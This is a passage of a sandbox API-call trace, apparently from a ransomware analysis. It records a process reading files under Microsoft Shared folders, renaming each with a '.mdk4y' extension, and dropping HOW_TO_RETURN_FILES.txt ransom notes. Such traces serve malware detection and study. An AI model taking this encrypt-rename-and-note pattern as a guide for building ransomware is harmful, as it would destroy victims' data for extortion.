lpPerformanceCount=0x37dee4*=1819996800000) returned 1 [0124.738] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f50, lpOverlapped=0x0) returned 1 [0124.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820005500000) returned 1 [0124.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820005500000) returned 1 [0124.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.mdk4y")) returned 1 [0124.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.827] AreFileApisANSI () returned 1 [0124.827] GetACP () returned 0x4e4 [0124.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vstoee90.tlb", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="vstoee90.tlbb", lpUsedDefaultChar=0x37df4c) returned 12 [0124.827] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0124.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820005800000) returned 1 [0124.828] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5550, lpOverlapped=0x0) returned 1 [0124.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820005900000) returned 1 [0124.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820005900000) returned 1 [0124.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.mdk4y")) returned 1 [0124.830] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0124.830] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0124.830] AreFileApisANSI () returned 1 [0124.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0124.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0124.851] GetFileType (hFile=0x12c) returned 0x1 [0124.852] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0124.852] AreFileApisANSI () returned 1 [0124.852] GetACP () returned 0x4e4 [0124.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Web Folders", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Web Foldersd", lpUsedDefaultChar=0x37dfd8) returned 11 [0124.852] AreFileApisANSI () returned 1 [0124.852] GetACP () returned 0x4e4 [0124.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=59, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\") returned 59 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\VSTO\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0124.853] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\VSTO\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0124.853] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033Files\\Microsoft Shared\\VSTO\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\7\r") returned 64 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0124.853] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0124.853] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.853] AreFileApisANSI () returned 1 [0124.853] GetACP () returned 0x4e4 [0124.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOSVINT.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSOSVINT.DLL\\", lpUsedDefaultChar=0x37dec0) returned 12 [0124.854] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820008400000) returned 1 [0124.854] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2988, lpOverlapped=0x0) returned 1 [0124.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820014200000) returned 1 [0124.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820014200000) returned 1 [0124.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll.mdk4y")) returned 1 [0124.913] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0124.913] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0124.913] AreFileApisANSI () returned 1 [0124.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0124.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0124.913] GetFileType (hFile=0x130) returned 0x1 [0124.914] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.914] AreFileApisANSI () returned 1 [0124.914] GetACP () returned 0x4e4 [0124.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOSV.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOSV.DLL\\Microsoft Shared\\VSTO\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 9 [0124.914] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0124.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820014500000) returned 1 [0124.915] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaf88, lpOverlapped=0x0) returned 1 [0124.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820016400000) returned 1 [0124.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820016400000) returned 1 [0124.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.mdk4y")) returned 1 [0124.935] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0124.935] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0124.935] AreFileApisANSI () returned 1 [0124.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0124.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0124.936] GetFileType (hFile=0x12c) returned 0x1 [0124.937] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0124.937] AreFileApisANSI () returned 1 [0124.937] GetACP () returned 0x4e4 [0124.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Web Server Extensions", cchWideChar=21, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Web Server ExtensionsionPlatform", lpUsedDefaultChar=0x37dfd8) returned 21 [0124.937] AreFileApisANSI () returned 1 [0124.937] GetACP () returned 0x4e4 [0124.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=69, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\") returned 69 [0124.938] AreFileApisANSI () returned 1 [0124.938] GetACP () returned 0x4e4 [0124.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Web Folders\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0124.938] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.938] AreFileApisANSI () returned 1 [0124.938] GetACP () returned 0x4e4 [0124.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Web Folders\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0124.938] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.938] AreFileApisANSI () returned 1 [0124.938] GetACP () returned 0x4e4 [0124.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="14", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="14", lpUsedDefaultChar=0x37df4c) returned 2 [0124.938] AreFileApisANSI () returned 1 [0124.938] GetACP () returned 0x4e4 [0124.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=72, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\\\Program Files\\Common ȁ") returned 72 [0124.938] AreFileApisANSI () returned 1 [0124.939] GetACP () returned 0x4e4 [0124.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b9c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0124.939] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.939] AreFileApisANSI () returned 1 [0124.939] GetACP () returned 0x4e4 [0124.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b9c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".. ", lpUsedDefaultChar=0x37dec0) returned 2 [0124.939] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.939] AreFileApisANSI () returned 1 [0124.939] GetACP () returned 0x4e4 [0124.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIN", cchWideChar=3, lpMultiByteStr=0x6b7b9c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BIN", lpUsedDefaultChar=0x37dec0) returned 3 [0124.939] AreFileApisANSI () returned 1 [0124.939] GetACP () returned 0x4e4 [0124.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a99a0, cbMultiByte=76, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\j") returned 76 [0124.940] AreFileApisANSI () returned 1 [0124.940] GetACP () returned 0x4e4 [0124.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7d74, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="./FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0124.940] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0124.940] AreFileApisANSI () returned 1 [0124.940] GetACP () returned 0x4e4 [0124.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7d74, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0124.940] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0124.940] AreFileApisANSI () returned 1 [0124.940] GetACP () returned 0x4e4 [0124.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6b7d74, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="1033PLD", lpUsedDefaultChar=0x37de34) returned 4 [0124.940] AreFileApisANSI () returned 1 [0124.940] GetACP () returned 0x4e4 [0124.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=81, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\7㱴瞈㲣瞈鑖瞣_") returned 81 [0124.940] AreFileApisANSI () returned 1 [0124.940] GetACP () returned 0x4e4 [0124.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6bd904, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0124.941] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6bdc38 | out: lpFindFileData=0x6bdc38) returned 1 [0124.941] AreFileApisANSI () returned 1 [0124.941] GetACP () returned 0x4e4 [0124.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6bd904, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0124.941] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6bdc38 | out: lpFindFileData=0x6bdc38) returned 1 [0124.941] AreFileApisANSI () returned 1 [0124.941] GetACP () returned 0x4e4 [0124.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FPEXT.MSG", cchWideChar=9, lpMultiByteStr=0x6bd904, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FPEXT.MSG", lpUsedDefaultChar=0x37dda8) returned 9 [0124.941] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x144 [0124.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1820017100000) returned 1 [0124.941] ReadFile (in: hFile=0x144, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x296a5, lpOverlapped=0x0) returned 1 [0124.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1820018500000) returned 1 [0124.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1820018500000) returned 1 [0124.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.mdk4y")) returned 1 [0124.957] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6bdc38 | out: lpFindFileData=0x6bdc38) returned 0 [0124.957] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0124.958] AreFileApisANSI () returned 1 [0124.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b1478, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 105 [0124.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0124.958] GetFileType (hFile=0x140) returned 0x1 [0124.959] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0124.959] AreFileApisANSI () returned 1 [0124.959] GetACP () returned 0x4e4 [0124.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FPSRVUTL.DLL", cchWideChar=12, lpMultiByteStr=0x6b7d74, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="FPSRVUTL.DLL.", lpUsedDefaultChar=0x37de34) returned 12 [0124.959] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0124.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820018900000) returned 1 [0124.959] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x100000, lpOverlapped=0x0) returned 1 [0124.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820021700000) returned 1 [0124.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820021700000) returned 1 [0125.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.mdk4y")) returned 1 [0125.013] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0125.013] AreFileApisANSI () returned 1 [0125.013] GetACP () returned 0x4e4 [0125.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FPWEC.DLL", cchWideChar=9, lpMultiByteStr=0x6b7d74, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="FPWEC.DLLDLL", lpUsedDefaultChar=0x37de34) returned 9 [0125.013] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0125.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820024300000) returned 1 [0125.013] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x100000, lpOverlapped=0x0) returned 1 [0125.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820030800000) returned 1 [0125.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820030800000) returned 1 [0125.089] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.mdk4y")) returned 1 [0125.090] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0125.090] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 